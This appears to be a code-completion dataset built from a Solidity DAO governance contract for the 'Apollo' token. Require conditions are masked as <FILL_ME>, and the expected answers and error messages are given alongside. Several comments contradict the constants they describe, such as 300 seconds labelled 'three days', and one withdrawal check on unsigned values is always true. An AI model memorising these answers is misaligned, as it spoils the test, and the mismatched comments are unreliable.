uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
require(_newDAONominations[newDAO].timeOfNomination > 0 , "There is no DAO Nomination for this address");
require(<FILL_ME>)
require(approvedNewDAO == address(0), "There is already an approved new DAO");
apolloToken.transferFrom(_msgSender(), address(this), voteAmount);
totalLockedVotes += voteAmount;
_lockedVotes[_msgSender()][newDAO].voteCount += voteAmount;
_lockedVotes[_msgSender()][newDAO].votedFor = voteFor;
if(voteFor){
_newDAONominations[newDAO].votesFor += voteAmount;
} else {
_newDAONominations[newDAO].votesAgainst += voteAmount;
}
emit VoteSubmitted(newDAO, _msgSender(), voteAmount, voteFor);
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| _lockedVotes[_msgSender()][newDAO].voteCount==0,"User already voted on this nomination" | 489,817 | _lockedVotes[_msgSender()][newDAO].voteCount==0 |
"Withdrawing would take DAO balance below expected rewards amount" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
uint256 currentVoteCount = _lockedVotes[_msgSender()][newDAO].voteCount;
require(currentVoteCount > 0 , "You have not cast votes for this nomination");
require(<FILL_ME>)
uint256 apolloToBurn = currentVoteCount * daoVoteBurnPercentage / 100;
uint256 apolloToTransfer = currentVoteCount - apolloToBurn;
apolloToken.transfer(_msgSender(), apolloToTransfer);
apolloToken.burn(apolloToBurn);
totalLockedVotes -= currentVoteCount;
_lockedVotes[_msgSender()][newDAO].voteCount -= currentVoteCount;
if(_lockedVotes[_msgSender()][newDAO].votedFor){
_newDAONominations[newDAO].votesFor -= currentVoteCount;
} else {
_newDAONominations[newDAO].votesAgainst -= currentVoteCount;
}
emit VoteWithdrawn(newDAO, _msgSender());
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| (totalLockedVotes-currentVoteCount)>=0,"Withdrawing would take DAO balance below expected rewards amount" | 489,817 | (totalLockedVotes-currentVoteCount)>=0 |
"Nominator does not own enough APOLLO" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
require(<FILL_ME>)
require(_newDAONominations[newDAO].timeOfNomination == 0, "This address has already been nominated");
_newDAONominations[newDAO] = DAONomination({
timeOfNomination: block.timestamp,
nominator: _msgSender(),
votesFor: 0,
votesAgainst: 0,
votingClosed: false
});
activeDAONominations += 1;
emit NewDAONomination(newDAO, _msgSender());
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| apolloToken.balanceOf(_msgSender())>=minimumDAOBalance,"Nominator does not own enough APOLLO" | 489,817 | apolloToken.balanceOf(_msgSender())>=minimumDAOBalance |
"This address has already been nominated" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
require(apolloToken.balanceOf(_msgSender()) >= minimumDAOBalance , "Nominator does not own enough APOLLO");
require(<FILL_ME>)
_newDAONominations[newDAO] = DAONomination({
timeOfNomination: block.timestamp,
nominator: _msgSender(),
votesFor: 0,
votesAgainst: 0,
votingClosed: false
});
activeDAONominations += 1;
emit NewDAONomination(newDAO, _msgSender());
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| _newDAONominations[newDAO].timeOfNomination==0,"This address has already been nominated" | 489,817 | _newDAONominations[newDAO].timeOfNomination==0 |
"We have not passed the minimum voting duration" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
